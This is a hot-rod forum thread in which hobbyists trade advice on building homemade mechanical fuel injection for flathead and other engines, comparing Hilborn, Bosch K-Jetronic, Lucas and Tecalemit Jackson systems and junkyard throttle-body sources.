Home brewed mechanical injection?

[gettingreasy]

I've seen a couple of home built injection setups for flat heads(one was even made of steel), and was wondering if anyone on here has done something similar? What all does it take to work? Any good diagrams or cut aways would be cool to. I'd like to get a basic idea of how a Hilborn port style injection system works and any tips or sugestions would be great to.
-Jesse

[Steve]

hilborn is easy it has a belt driven pump the higheer rpm the faster the pump drives this pumps fuel into the nozzles in teh stakes right over the intake. pretty simple, not very good for street though.

[gettingreasy]

Holy shit, i was checking out hilborns web site, and a single throat injector is $550 and a 4-71 GMC blower(2 port)is $875, a SBF is $1400 and a SBC is $1600, what gives? I could buy the 3 single ports i would need or I could buy the SBF and have 8 for the price of 3? I knew they'd be expensive but sheeeat. I'll have to make my own to afford it.
-Jesse

[Phil1934]

I"m looking ar something similar. There is a belt driven pump to control the flow based on RPM and a barrel valve to vary the flow based on throttle position. At the Moultrie swap meet last Sat. there was an old inj. setup on a 6 Stromberg intake, with one injector replaced by a carb. I guess that gave them some idle ability. There was also an old Saaty one bbl inj. unit that had a pin in the jet controlled by the throttle to vary flow with throttle position. Except for the pin, the jet was identical to www.mistcooling.com/nozzle_cost.htm (http://www.mistcooling.com/nozzle_cost.htm) Hilborn, et al use aspirated jets to produce finer droplets. I plan to pursue this with Stromberg/Rochester throttle bodies and RPM controlled electric pump voltage feeding through a rheostat on the throttle with switches for power and choke enrichment. I'd keep the top the same size as Stromberg so you could run the scoops that are out there, but there would not be a carb body, so much lower profile. Enderle's catalog has some nice explanations of the fuel system and looks at things like throttle blade size if individual runner.

[daddylama]

a source for cheap junkyard mechanical injection:
take a look at a 70's water-cooled VW (rabbit, for sure)... mechanical fuel injection. Belt-driven pump, individual injectors. many 60's and 70's mercedes (6 & 8cyl) had a very similar setup (theyre in junkyards pretty cheap around here). The mercedes setup is what im thinkin of using on some future project... both have throttle body setups, but could be setup in stacks...

oh, those mist nozzles (from mistcooling.com)... available at Home Depot... that's what i use for my water/alch injection...

[Unkl Ian]

55 Ply is on the right track.
Junkyard fuel injection parts are cheap and easy to find.
And the performance is much better than most carbs.

Stu Hilborn would have run Electronic injection in a second if the technology was available.

[gettingreasy]

I'll still need to buy a metering block, a by-pass, and a pump. I don't know if I'll need both a primary and secondary or just a secondary by-pass. I could probably make the throttle bodies, shafts, and butterflies. SU sells about any size brass butterflies and shafts that you could want and then make the bodies fit the shafts and weld a 1/8" pipe bung on for a Hilborn nozzle add some linkage and you got your self some home made injection.
-Jesse

[RileyRacing]

Or check out mid to late 70's Datsuns. They came with a mechanical Bosch system too. Lots of info out there on the 280Z sites. Or maybe ask purple.

Jay

[choprods]

Me and Hack were talking about this motor- 1977 Cadillac Seville- had a 350 OLDS with multiport[8] injection-was that mechaniclly controlledOR NOT-?ANYONE/?

[RileyRacing]

Yeah, something like that. Read about it once, really elusive. Good luck finding one, much less parts, or even less, someone who can WORK on the thing...

I love a challenge!

Jay

[Doctor Injector]

That Cadillac came with electronic fuel injection.

[bct]

http://www.jalopyjournal.com/forum/search.php?searchid=11079948

[Dolmetsch]

K jet tronic injection by Bosch. mechanical and very very good. Electrc pump. Airflow plate controls and arm which operates a very ingenious metering valve. It is constant flow but works very well. Is reportedly capable of 30% more power in all stock applications. (if you modify the engine and up the power say for a 200hp motor stock it will cover till 260 with no mods and just a bit of tweeking. I have certificates of training and at one time used to teach it at trade school. Volvos are the best source but are 6 cylinders . I am reaching back in memory but it seems to me volvos with the letter E have this system. VW bunnys used it too. Audi 5 cylinder as well. Other than the electric fuel pump despite its "tronic" name it is totally mechanical and probably the pinnicle of success of mech fuel injection for Gasoline engines. I have never tried it but I have thought with a little ingenutity two VW bunny 4 cyl systems could be made to work on a V8 which is two 4 cylinder engines anyway. You would have to though treat each bank as a seperate engine with a common throttle body. I would think for a flathead a Ford Truck efi throttle body would work and connect each 4 cyl systems air plate from one of the huge two barrel bores. It would take some fiddling I am sure but the stuff is out there and cheap and better built than most other systems ever were. It is streetable and raceable as well. if hotrodding had ever discovered it we would still be using it. It was pretty well trouble free and i know many cars went their entire life with no problems . When we got stupid on Emissions it was phased out for electronic models with lambda (O2 sensor) feedback and computer control.
Don

[Unkl Ian]

http://www.kinsler.com/page--HandbookCatalog--2.html

[Tman]

Look at Jethros setup, all handmade. That might be in BCTs dead link above.

[Hnstray]

Or check out mid to late 70's Datsuns. They came with a mechanical Bosch system too. Lots of info out there on the 280Z sites. Or maybe ask purple.

Jay


Datsun (Nissan) 280Z were Bosch electronic fuel injection, not mechanical.

Ray

[Dolmetsch]

That Cadillac came with electronic fuel injection.
Tis true and was the reintroduction of the Chrysler /Bendix system intro-ed by Chrysler in 1958. It was a failure in 58 due to powerline interference and such. By the seveties that had all been solved. I have worked on these too but they are electronic.
Now back to mechanical and street quality. One of the things troubling Hilborn and such is an unstable idle. You know that tramp tramp trap typical of injection. i know an old road racer(open wheeled) who successfully fixed that in a lucas mechanical system by installing an electric fuel pump in the system and a switch in the throttle so anywheres near idle this electric pump came on and gave a stable non-RPM related pressure whch he then regulated for best idle. Might not work for hilborns and such but it did work well on his systems which were having the same problems.
The mech bosch is found on Volvos and some years of porsche and of course the VW bunnies. Search Ebay.de and you will be surpised how many you find. My friend in Sweden, Ludvig tells me they are easily found on old volvos there. His dad is a volvo tech too. Looking for that system on an aisan car is like ordering bratwurst in at a sushi bar. It just aint never gonna happen.
Don

[FrozenMerc]

In the early 60's, Mercedes used a mechanical Bosch injection setup on some of there cars (280 SL, etc). It seemed to work fairly well on the street. Some googling of that setup may give you some insights and ideas.

[bct]

sorry guys...yes , search" hillbillyborn injection".....i think his will be electronic but its homemade

[squirrel]

I'd like to get a basic idea of how a Hilborn port style injection system works

Ask Stu?

[cooljunk]

Talked to a guy who built a system on a flathead, hilborn pump, stromberg throttle bodys with home made nozle mounts on top. He ran E85, said it was more forgiving for the tuneup. Wish I had his name, It ran well.

[Jagman]

Early Porsche 928's (V-8's) used the Jetronic Bosch system too, however none of these systems including those used on Volvo's, Rabbits or Audis are completely mechanical, in that it does use various and sundry sensors for warmup enrichment, cold start and so on and there is a rather large "brain" that has to be hidden somewhere.

Alfa used Spica mechanical injection up until the late 70's, and they made a version for their V-8 engined Montreal, however it was a bit fiddly to get it set right and it would be nearly impossible to find one today.

The most reliable purely mechanical system I know of is the Bosch system used in early Porsche 911's and Mercedes cars of the 50's and 60's, once set up properly it just runs and runs - but that's the key - getting it setup properly, and of course they were almost all 6 cylinder applications. Spendy, spendy, spendy too....

$2500 minimum just to get a pump rebuilt......

There are reasons manufacturers went to electronic, and that had to do with more precise control (for both mileage and emissions) and better packaging, as well as reliability and lower cost. Even in the early 70's the first embryonic electronic systems worked better than the best mechanical systems....

I think I'd try to incorporate a Mega-Squirt system and make it look period - you get all the benefits of a modern electronic system with none of the frailty or expense of the old mechanicals. Just my 2c....

I'm not trying to go against "traditional" build techniques here, but I always saw hot rodders as trying the latest and greatest stuff to make their cars run better and faster, I don't see why you still can't do this and stay true to the ethic.

[exwestracer]

A lot of brit cars used the Lucas timed injection on 4 and 6 cyl engines. The V8 stuff is hard to find and VERY expensive (used almost exclusively in racing). The car in my avatar uses that setup. It's complex, but really works much better than the "traditional" Hilborn style for street use. Maybe you could adapt 2 of them (4 cyl) for your V8.

For throttle bodies, I'd look at some of the later model injected sport bikes. A lot of guys dump the injection and go to carbs for Legends racing, etc, and the throat size should be really close to what your flattie needs.

[RichFox]

Lots of very good throttle bodies in junk yards. Some have used Coke machine pumps, I have heard. Seemed as though any positive displacement pump of about the right size would work. Holley jets will work as pills in the bypass. I use them. You don't really need the secondary bypass but do need the primary. I just get Hilborn metering blocks and Enderly pumps cheap off of Ebay

[Unkl Ian]

A lot of brit cars used the Lucas timed injection



The Lucas stuff works very well,
and even better after Kinsler works their magic on it.

[Dolmetsch]

No there is not. here is the system http://www.hemsida.net/volvo140/images/h_4principbildk_jetronic.jpg
The warm up is a thermostatic timer with a hot wire in it like your toaster. There is an electric fuel pump. There is no computer .It is a stand alone system and is completely mechanical. Later versions were electronic like I said but not these. The metering valve features a series of staggered ports or slots in a cylinder and as the air plate moves in unison with ACTUAL air flow the piston in this metering valve moves as it is connected to the air plate. As it moves in the bore it uncovers more and more of these small ports raising fuel fow .It is the ultimate in mechanical fuel injection . I repeat there is no computer.
If you could find an early rabbit VW remove the injection system and the lines and the injectors. Hook to an electric fuel pump and feed fuel to it. Press down on the plate or up as the case may be causing the plate to move from engine stopped position and the fuel flow from the injectors will increase accordingly. No computer ,no bunch of wires purely mechanical . German machining and engineering in its finest hour.
Don

[exwestracer]

No there is not. here is the system http://www.hemsida.net/volvo140/images/h_4principbildk_jetronic.jpg
The warm up is a thermostatic timer with a hot wire in it like your toaster. There is an electric fuel pump. There is no computer .It is a stand alone system and is completely mechanical. Later versions were electronic like I said but not these. The metering valve features a series of staggered ports or slots in a cylinder and as the air plate moves in unison with ACTUAL air flow the piston in this metering valve moves as it is connected to the air plate. As it moves in the bore it uncovers more and more of these small ports raising fuel fow .It is the ultimate in mechanical fuel injection . I repeat there is no computer.
If you could find an early rabbit VW remove the injection system and the lines and the injectors. Hook to an electric fuel pump and feed fuel to it. Press down on the plate or up as the case may be causing the plate to move from engine stopped position and the fuel flow from the injectors will increase accordingly. No computer ,no bunch of wires purely mechanical . German machining and engineering in its finest hour.
Don

Correct. The later units were called KE Jetronic...E for electronic. The only real bad thing about that system for a hot rod is the airflow box is UUHHHhhgly... and you can't just get rid of it. (Might also be difficult to get that system to work on a V8 if you were thinking about a true port injection...unless you found one off an early 928 or Mercedes)

[TomWar]

[quote=jagman

i'm not trying to go against "traditional" build techniques here, but i always saw hot rodders as trying the latest and greatest stuff to make their cars run better and faster, i don't see why you still can't do this and stay true to the ethic.[/quote]


amen

[Dolmetsch]

A couple of deals about the airbox. First is it impossible to run without it? I think total though it would not be easy it could be done to link it with the throttle. It would take a lot of patience and measurement but it could be done (I think anyway. )
Secondly while the air box is ugly and I agree, but there is no reason it needs to be in plain sight. It could be anywhere. In the trunk even as long as it is connected by a non leaking hose or pipe.

[terryr]

There was also Scott Injection. Rare though. A tiny pump like a Paxton pumped gas. Only a few pounds pressure at idle and a hundred at full throttle.

If it was good enough for Mad Max....

Okay, Maxs was fake.

http://www.scottinjection.com/

[jonnyonedrip]

I have a few 928s here that all have the mechanical k jetronic CIS I have also had lots of bunnies with it in my opinion don't bother with the two 4 cyl units its to fiddly to set up both the same sure it might be cheaper to buy but you will have double the parts to deal with the 928/mercedes is the better choice, the 928 equipment can be gotten rebuilt but i would look for the mercedes stuff in the bone yard you can prolly get the whole thing cheap the biggest problem with the CIS systems is they don't like to sit idle once they are empty or unused for awhile alot of the patrs gum up or rust up unless you have alot of experiance with the CIS sytems i would stay way from it. If you really must use it let me know i can help. lately i have been playing with the GM early 90s throttle body injection from the B body cars i think that system could be used on any car any engine without to much fuss all parts for all the cars are the same just adjusted different the sensors are not many nor are there alot of hoses or wires i think it would be a very clean set up the brain boxes have a read only replaceable chip in it that there are replacement chips for any custom application and can be programed personally if you need it and i have even seen two two barrel units put together to run 4 barrel style the injectores are just hooked in parallel so the computor doesn't even see the extra injectors but halves the pin stroke for the right mixture control these systems are suposed to be good to well over 400 hp .food for thought

[OHV DeLuxe]

A guy here in Norway made his own "slider door" type injection for a Ford escort hill climb car, very simple and worked great., just a big four hole flange sliding back and forth like a giliotine with teflon on each side and an adjustable needle valve actuated kinda like a stock Harley adjustable plunger seat from the 50`s, and Algon adjustable nozzles.
Wide open stuff but not worse than the big Webers he used earlier.
He uses high pressure and smaller passages for better "crushing" of the fuel..

Made because he could, this guy is not exactly a watch maker if you know what i mean.. but he eliminated the obsticles in the flow like the throttle and shaft. and he gets to say, hey i made it.. :D

[Shaggy]

Stu Hilborn would have run Electronic injection in a second if the technology was available.

Yea but in my world they still havent invented that yet, i'll burn people at the stake for witchcraft for preaching that voodoo

[Kerrynzl]

The best mechanical injection by far is the Lucas timed injection, it was very successful in F5000,early F1 ,CanAm, and various road racing cars.
It was used in Maserati Road Cars, and the horrible Triumph PI
To work successfully it needed pump pressure of 100psi , but the lucas pump [ Triumph ] couldn't do this without overheating [ race cars had a belt driven pump,but they are primed to start ]

Another unit the Poms made was the Tecalemit Jackson injection system [ or TJ ] which is a constant flow system like the beloved Hilborn
It was very popular on european small capacity road racers, eg Hillman Imps, Minis, Ford Escorts, and the old Coventry Climax V8 [ pictured ]

It seems to be relatively simple - this is what the system has:

electric high pressure pump,

mechanical pressure regulators (excess fuel returns to the tank),

the metering unit has a cam on it connected to the throttle (e.g. butterflys) to adjust the mixture according to the throttle opening (e.g. the cam has to be made to suit the particular use),

the belt driven regulator adjusts the mixture according to engine revs,

distributor (8 way in these pictures) supplies fuel to the injectors,

injectors have spring loaded valves, so they open when the pressure reaches a suitable level.

http://users.pandora.be/peter.morley/photos/Tecalemit1.jpg (http://users.pandora.be/peter.morley/photos/Tecalemit1.jpg)

http://users.pandora.be/peter.morley/photos/Tecalemit2.jpg (http://users.pandora.be/peter.morley/photos/Tecalemit2.jpg)

[Dolmetsch]

There is to me a huge difference between difficult and impossible. Difficult here is spelled I N T E R E S T I N G. Case in point below.
Don

[Truckedup]

This is all very interesting.On a street driven engine that must actually be manageable in traffic, I would think an injection system needs to know besides throttle position is air flow and or at least load controlled by engine vacuum. Yes?

[Rootie Kazoootie]

Here's a article on a 1950s home brewed injector that may be of interest.

[RichFox]

Tecalemit Jackson throttle bodies mounted on HAMB members Stude Champ and Suzuki throttle bodies on Plymouth four. Both using Hilborn metering system

[exwestracer]

Here's a article on a 1950s home brewed injector that may be of interest.

Rootie, any idea what that siamese port injector is for? Looks like Y block Ford, but I'm no expert...

I agree with Kerry that the Lucas works best, but it is expensive to buy a setup designed for a V8. The ones on the Can-Am cars actually use 3(!) fuel pumps to get everything working correctly. Typical Brit engineering...take a mediocre concept and keep adding band-aids until it's the best in the world.:D

The TJ injection still suffers from the same streetability issues as any constant flow setup...and if nobody's been able to make them work really well in 60 years:confused:

For individual throttle bodies, look to the IMPCO company (Propane carburation). They make many different sizes of modular throttle bodies. Not cheap, but they don't have any built-in crap you won't need.

[Rootie Kazoootie]

Rootie, any idea what that siamese port injector is for? Looks like Y block Ford, but I'm no expert...

I agree with Kerry that the Lucas works best, but it is expensive to buy a setup designed for a V8. The ones on the Can-Am cars actually use 3(!) fuel pumps to get everything working correctly. Typical Brit engineering...take a mediocre concept and keep adding band-aids until it's the best in the world.:D

The TJ injection still suffers from the same streetability issues as any constant flow setup...and if nobody's been able to make them work really well in 60 years:confused:

For individual throttle bodies, look to the IMPCO company (Propane carburation). They make many different sizes of modular throttle bodies. Not cheap, but they don't have any built-in crap you won't need.
I'm no expert either, but it looks like a Y block to me too.

[RichFox]

If you want just a throttle body with out any other function but an air valve. OEM TPI throttle bodies are cheap, at every late model junk yard, and have sealed ball bearings on the throttle shaft, usually. On my Plymouth I have used two Ford 4.6 SOHC TBs or 4 Suzuki 750 TBs or one two bbl. Ford 351-F150 TB. They all worked fine. Set El Mirage records within a few tenths of each other. There are thousands of different sizes for sale right now on Ebay.

[RichFox]

If you want to build a more traditional and street able mechanical fuel injection I would think you would look at the most successful US made unit. The Rochester as used on SBC engines. No way you will find a cheap one at Pic A Part. But look at how it works and see what you can do. Needs a positive displacement pump. How many Gallons per hour? If you can't find that out about the Chevy part try Hilborn or Kinsler. Now you need a pump of that capacity that works with gas. And some kind of metering block. Rotary valve. ball valve. Sliding blade or cam slot like Hilborn. Throttle bodies and bypass pills have all ready been discussed. Now make it work.

[mart3406]

Me and Hack were
talking about this motor- 1977 Cadillac Seville
- had a 350 OLDS with multiport[8] injection-
was that mechaniclly controlledOR NOT-?
ANYONE/?
-----------------
The F.I. used on the late -70's Caddy Sevilles
was electronic. It was a Bosch Jetronic system
and actually was loosely based on the patents
and technology used on the ill-fated Bendix
Electro-Jector F.I system tried first by AMC in
1957 and Chrysler in 1958. Existing 1950's
computer technology (using vacuum tubes by
the way!) wasn't up to the job for automotive
use yet, causing AMC to never actually release
their version of the Electro-Jector system to
the public and for Chrysler to recall the handful
of cars it built with the system and replace the
units with dual-4bbl carbs. Bendix then sold the
patents to Bosch, who further developed and
improved the system and released it several
years later as the Bosch Jetronic system. The
Jetronic in various 'letter designations' was widely
used by manufacturers in Europe starting in the
mid-to-late 1960s, and a version of it was finally
adapted by Cadillac for the Seville in 1976.

Mart3406
=============================

[RichFox]

Or you could make your own throttle body. This baby bug catcher worked fine. Could have used a nicer scoop. But it was a quick and dirty deal. Went 231 mph on a Nissan Maxama 3 liter engine. Set the F/FS record in 2000. Didn't last very long.

[spiderdeville]

http://www.ronsfuel.com/
check out the flying toilet

[budd]

motorcycle throttle bodies go pretty cheap on ebay, the nice thing is you can synchronize them to every cylinder

http://cgi.ebay.com/ebaymotors/08-SUZUKI-SV650-SV-650-SV650S-THROTTLE-BODIES-_W0QQcmdZViewItemQQhashZitem5888c3e647QQitemZ38025 1661895QQptZMotorcyclesQ5fPartsQ5fAccessories


http://cgi.ebay.com/ebaymotors/Suzuki-GSXR-750-Fuel-Injection-Throttle-Body-Assy-_W0QQcmdZViewItemQQhashZitem20b423edd5QQitemZ14046 1206997QQptZMotorcyclesQ5fPartsQ5fAccessories

[RichFox]

Yeah. Suzuki 750 throttle bodies for a Banger and half an old 331 Hilborn on a Twin Cam banger. I wonder if you could use an oil pump? You need positive flow. Not much pressure. Not all that much volume. And all the bypasses. Main, secondary and I would think 2 or 3 high speeds for a street driven piece. Lots of different pop off springs. Metering block would be interesting. Who is going to do it?

[Unkl Ian]

There was a thread on the Megasquirt board,
with dimensions for various Jap bike throttle bodies.

[exwestracer]

Yeah. Suzuki 750 throttle bodies for a Banger and half an old 331 Hilborn on a Twin Cam banger. I wonder if you could use an oil pump? You need positive flow. Not much pressure. Not all that much volume. And all the bypasses. Main, secondary and I would think 2 or 3 high speeds for a street driven piece. Lots of different pop off springs. Metering block would be interesting. Who is going to do it?

Proabably not enough seal in an oil pump, Rich. My Crower hybrid runs about 150 psi on Methanol. It might do with less, but the small nozzles atomize the fuel better with the high pressure. I think the key on a street setup is the barrel valve and getting it to work further up the throttle percentage than what's normally done on a race application.

[budd]

power steering pump, furnace pump, small hydraulic pump, so 100 psi would be ok?

[jonnyonedrip]

the bosch k jetric pumps are good to 100 psi they are cheap and easy to find if you need more volume use two parallel

[Kerrynzl]

Toyota 20 valve 4AGE engines are a good cheap source for individual throttle bodies.

On an engine like a flathead, you could probably use the complete lucas timed injection from a Triumph PI [ pictured ] just mount it on a triple carb manifold.
Lucas claimed that the timing wasn't that critical above 1/3 rpm's, a plenum manifold would be needed with 3 x throttle bodies but could easily work ok [it would probably idle better than a constant flow injection ]

Imagine a Flattie 8BA with triple timed injection and a magneto [ how cool would that be ]

http://tr5.classicsportscars.eu/PICTURES/tr5-injection.JPG

[Steve Ray]

Early Porsche 928's (V-8's) used the Jetronic Bosch system too, however none of these systems including those used on Volvo's, Rabbits or Audis are completely mechanical, in that it does use various and sundry sensors for warmup enrichment, cold start and so on and there is a rather large "brain" that has to be hidden somewhere.

Alfa used Spica mechanical injection up until the late 70's, and they made a version for their V-8 engined Montreal, however it was a bit fiddly to get it set right and it would be nearly impossible to find one today.

The most reliable purely mechanical system I know of is the Bosch system used in early Porsche 911's and Mercedes cars of the 50's and 60's, once set up properly it just runs and runs - but that's the key - getting it setup properly, and of course they were almost all 6 cylinder applications. Spendy, spendy, spendy too....

$2500 minimum just to get a pump rebuilt......

There are reasons manufacturers went to electronic, and that had to do with more precise control (for both mileage and emissions) and better packaging, as well as reliability and lower cost. Even in the early 70's the first embryonic electronic systems worked better than the best mechanical systems....

I think I'd try to incorporate a Mega-Squirt system and make it look period - you get all the benefits of a modern electronic system with none of the frailty or expense of the old mechanicals. Just my 2c....

I'm not trying to go against "traditional" build techniques here, but I always saw hot rodders as trying the latest and greatest stuff to make their cars run better and faster, I don't see why you still can't do this and stay true to the ethic.


Actually the Alfa Montreal V8 injection pumps were basically two 4 cylinder pumps joined together, and these and the 40 mm throttle bodies are easy to find. Wes Ingram here in Washington builds them: http://015cb80.netsolhost.com/index.html He also does the Bosch and Kugelfischer mechanical pumps as well. He's an old hot rodder and drag racer and he might be interested in helping you with your project. Good luck!

[christmas tree]

I have a unit I built on my 313 in Flathead. I used a base plate from a Holly 4 bbl carb 1.5 in throttle bores, adapted it to a Offenhauser manifold and used a Hilborn 150-0 pump, a Hilborn metering block and 4 Kinsler P550 nozzles on Alky. Works good and I,m still tuning. Word of hindsite, USE a good racing fuel filter and save yourself some grief. If you like to tinker go for it, a good challange. Xmas Tree

[Dolmetsch]

These tbs are from Ford trucks. These in particular are from 351s.
I thought a lot about the suggestion that two four cyl k jetronics would be difficult to make work. I dont think so. Using one of these Tbs which is a huge two barrrel and connection on four section to each barrel which would require nothing more than a hose and a hose clamp because of the way this system works (up stream of the TBs and totaly responsive only to actual airflow) I think it would not care. If both throttle plates open the same (and they do)and each four cylinder injector set up is responive to the airflow of its individual throttle bore it will suppy the exact amount of fuel to go with the air flow. The fact that two systems are on one engine is irrelevant. I am betting it would work well. The systems would be cheap as dirt. In fact you could probably get the VW rabbit systems for taking them home. Oh i know someone wll have a thousand reasons why it wont work but I also know he probably never built anything yet. That is just the way life is. I remember my cousin Cecil Farrington who did not know you couldnt sustitute compressed air for a supercharger. Faced with an unfair rule in tractor pulling he used a couple of truck air tanks and a truck air compresssor to charge the air tanks, he made a flapper valve with an air cylinder to close it in the intake and proceeded to show the lads how to make an old GM diesel turn 6000 RPM . It was awesome. Poor Cecil didnt know it couldnt be done and he forgot to ask anyone.
Don

[RichFox]

Anyone reading along can see that I have built several Hilborn clone FI units. One with the F150 two bbl throttle body. It worked fine, kind of big. Here are some throttle bores.2002 Ford 4.6 SOHC-2.562. Ford SHO Taurus -2.562 but ugly. GM tpi two bbl 1.890. Ford F150 2 bbl. -2 inch. Ford 4.6 Cobra 2 bbl-2.275 progressive. Nissan Maxama-2.350. Suzuki 750-1.875. Honda 750-1.615. The motorcycle tb are made to clamp to a rubber hose type deal. All the car TBs bolt down Looking at Throttle Bodies on Ebay will turn up a few thousand in various sizes for $20-$30.

[Unkl Ian]

Would be nice to find an individual bike TB(small) that bolts on.

[Ned Ludd]

....

I'm not trying to go against "traditional" build techniques here, but I always saw hot rodders as trying the latest and greatest stuff to make their cars run better and faster, I don't see why you still can't do this and stay true to the ethic.

I think part of the ethic is no micro-electronics, no code, no secrets, no absolute dependence on a mass-producer's continued existence. The ethic is ready reverse-engineerability, ready duplicability. But that doesn't mean that there isn't a lot of nifty hardware out there that could be pressed into an entirely different kind of ingenuity.

A couple of deals about the airbox. First is it impossible to run without it? I think total though it would not be easy it could be done to link it with the throttle. It would take a lot of patience and measurement but it could be done (I think anyway. )
Secondly while the air box is ugly and I agree, but there is no reason it needs to be in plain sight. It could be anywhere. In the trunk even as long as it is connected by a non leaking hose or pipe.

I'd be inclined not to move the airbox too far away, as there are bound to be response-time issues. It is definitely the central component of the system, as the air door inside it controls the fuel pump metering. But, how about casting up either an aluminium housing for the airbox, or an case that replaces the stock airbox case? There have been threads on home casting on the HAMB; surely it is possible to devise a HAMB-styled airbox? A siamesed twin airbox in a single housing could make sense of using two VW systems.

I'm wondering about flow limitations, however. The VW system is sized for about two litres engine capacity and c.7500rpm. Can it be modified to flow enough for another litre or more?

Here's a schematic, by the way:
http://www.ferrari412.com/k_jet.jpg
and the airflow sensor unit:
http://lh3.ggpht.com/_Ii1ukGkfijY/Sqo8UDIs_EI/AAAAAAAADP4/yMSY9i6Pm5c/clip_image0024_thumb.jpg?imgmax=800
Here's an exploded view:
http://www.vwgolfjetta2.ru/images/pages/05/index.5.gif
It seems it's mostly the intake and filter housing that forms the bottom of the assembly and the dome at the end of the intake tube that make for the ugly. One could surely replicate them in aluminium. I see lots of polished fins ...

[Unkl Ian]

I'm wondering about flow limitations, however. The VW system is sized for about two litres engine capacity and c.7500rpm. Can it be modified to flow enough for another litre or more?



The Rabbit stuff will handle 200 hp.
Bosch also made larger units for Mercedes V8s, 5 and 6 cyl.

[RichFox]

In all that stuff I don't see a nozzle?

[exwestracer]

In all that stuff I don't see a nozzle?

All the fuel metering stuff is removed in the second drawing. The nozzles are #7 in the first drawing, right above the intake valves.

I guess that wouldn't look too bad built into the firewall (cowl vent air intake?) or maybe into a Rochester type doghouse in the intake... Still going to be tough to adapt 2 of them to a V8 (2 ugly airboxes to deal with...).

Rich, I'd forgotten about the Maxima 2bbl TBs. Have you ever held one of those over the ports on a V8 flattie? Seems like they might be pretty close....

[exwestracer]

http://sphotos.ak.fbcdn.net/hphotos-ak-snc4/hs114.snc4/36085_1331393259718_1677600250_664973_2484344_n.jp g

Here's a look at a Lucas PI unit on a rather "special" small block Chevy...

[metalshapes]

http://sphotos.ak.fbcdn.net/hphotos-ak-snc4/hs114.snc4/36085_1331393259718_1677600250_664973_2484344_n.jp g

Here's a look at a Lucas PI unit on a rather "special" small block Chevy...

1109627

I knew about Crowers version, but I had not seen that one before.

Can you tell a little more about it?

[RichFox]

Never held much of anything around a flathead. Once I saw a GMC I could never understand why people kept fooling with those tea pots. I found the nozzle. Damn that's a complex system. I have to think EFI is cleaner to install. I could see trying to make a Hilborn work with a complex system of bypasses. It would still have less than half the parts of the VW unit. Good thing all I want to do is start, idle, and pull clean to WOT for a few miles. Not much on and off like driving in traffic.

[exwestracer]

1109627

I knew about Crowers version, but I had not seen that one before.

Can you tell a little more about it?

Uhhh... NO! :D

Just know it's probably a child of the Can-Am or F5000. I'll do a little digging and see what I can come up with. I believe it's a Ricardo project (HRE - Harry Ricardo Engineering).

[metalshapes]

Very cool...

Maybe we should start an Oddball SBC thread at some point.

I've saved some pics, and I bet you have a couple too...:)

[greaserzombie]

I've worked on lots of water cooled VW FI's - they're not that complicated. There were a couple different versions, the earliest ones really only needed the warm up regulator. They actually used a version of that injection on air-cooled VW's, mostly type 3's and some later bugs.

That being said, I have always had this idea in the back of my brain too. The system I don't fully understand is the early volvo version of the bosch injection. The version used in early 142e's and 164e's didn't have the throttle body directly connected to the airbox like the vw's and later volvo's. I don't know what they did in between, but I have seen a bunch running a cone filter right off the throttle body. I always though it would be cool to salvage parts of that system, and use it with the motorcycle ITB's. You could have the look of hillborn, and some more common components. You would still need an electric pump, but very little in the way of electronics. Anybody else know what I'm talking about?

[budd]

would this be a good doner car?


http://victoria.en.craigslist.ca/cto/1940015349.html

[JOECOOL]

what do the bikes use for a pump?

[exwestracer]

I've worked on lots of water cooled VW FI's - they're not that complicated. There were a couple different versions, the earliest ones really only needed the warm up regulator. They actually used a version of that injection on air-cooled VW's, mostly type 3's and some later bugs.

That being said, I have always had this idea in the back of my brain too. The system I don't fully understand is the early volvo version of the bosch injection. The version used in early 142e's and 164e's didn't have the throttle body directly connected to the airbox like the vw's and later volvo's. I don't know what they did in between, but I have seen a bunch running a cone filter right off the throttle body. I always though it would be cool to salvage parts of that system, and use it with the motorcycle ITB's. You could have the look of hillborn, and some more common components. You would still need an electric pump, but very little in the way of electronics. Anybody else know what I'm talking about?

The K-jetronic does not necessarily need the TB connected to the airbox. The air valve in the box is not controlled by the throttle, it is simply a metering device. Theoretically, you could have the throttle on either side of the metering valve, and it would work the same.

[Yo Baby]

This thread has become something of a rehash of the streetable mechanical injection thread(s). Having said that,,,,,,,,,
The throttle response on the K=jetronics were slow because you open the throttle and then have to wait for the metering plate to respond to engine vacuum at the far end of the "tube".
It's basically a giant spring loaded plate (controling incoming air) at one end of a rocker arm with a "jet" and a "metering rod" much like a motorcycle carby at the other end.
The pressure regulator was vacuum controlled also. (an other problem child)
That's how they got by with a constant flow electric pump.
But as mentioned somewhere earlier the major problem with them was the
"warmup regulator" which controlled flow to the "cold start valve" (nozzle).(wet plugs in gas engines are not real forgiving)
However I have always thought the secret to streetable mechanical injection would be a combination of vacuum controlled fuel metering with a constant flow pump.
On an unlimited budget and desiring to run mechanichal injection on the street,the Lucas timed injection would prolly be hard to beat.(hell aren't most deisels timed injection)?

[Ned Ludd]

A photo of a K-Jetronic airflow sensor assembly:
http://www.auto-tat.co.uk/Escort%20Upgrades/Esc%20Site%20Pics/Engine/CVH/Airbox2.jpg
As I said, the ugly is in the top and bottom plastic bits, but those aren't that dimensionally-critical. The die-cast middle bit actually rather looks the part.

[greaserzombie]

The 242 has a different style of injection than the 100's. Sorry.

The BMW 2002tii had some kind of diesel - like injection (Kugelfischer), using a very high pressure engine driven pump. There rare as hell, but it could be good for some idea's. Ford used the same injection on their european capri V-6.

[metalshapes]

The 242 has a different style of injection than the 100's. Sorry.

The BMW 2002tii had some kind of diesel - like injection (Kugelfischer), using a very high pressure engine driven pump. There rare as hell, but it could be good for some idea's. Ford used the same injection on their european capri V-6.

I think the only Capri's with a kugelfisher pump was were the RS2600 which were built and sold in limited numbers so Ford could go racing with it.
( and maybe some other RS's)

The regular Capri's had carbs.


The Kugelfisher pump to look for, is probably the one off the big Mercedes Limousine ( 600 ? )
At least one of those was put on a Dz302 SBC that powered a Formula 5000 Racecar ( at the time when most of those ran quad Weber IDA's )

[Yo Baby]

Those Mercedes limo engines are like 6.6(8) litre and pretty rare in country from what I gather.
Oklahoma Foreign salvage has one that needs to be rebuilt and the fuel pump,water pump,exhaust manifolds are gone and they want 3k for it.
Might be a tad spendy for any related items.

[Unkl Ian]

Those Mercedes limo engines are like 6.6(8) litre and pretty rare in country


Friend of mine has one.

[exwestracer]

A photo of a K-Jetronic airflow sensor assembly:
http://www.auto-tat.co.uk/Escort%20Upgrades/Esc%20Site%20Pics/Engine/CVH/Airbox2.jpg
As I said, the ugly is in the top and bottom plastic bits, but those aren't that dimensionally-critical. The die-cast middle bit actually rather looks the part.

http://img262.imageshack.us/img262/3636/jetronixc1it2.jpg
